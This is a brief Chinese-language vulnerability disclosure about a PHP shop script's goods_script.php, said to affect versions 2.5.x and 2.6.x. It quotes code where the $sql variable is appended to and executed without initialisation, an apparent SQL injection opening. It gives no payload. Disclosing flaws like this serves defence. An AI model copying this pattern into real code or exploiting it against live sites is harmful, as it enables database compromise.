影响2.5.x和2.6.x,其他版本未测试
goods_script.php44行:

    if (empty($_GET['type']))
    {
        ...
    }
    elseif ($_GET['type'] == 'collection')
    {
        ...
    }
    $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);
 

$sql没有初始化,很明显的一个漏洞:)
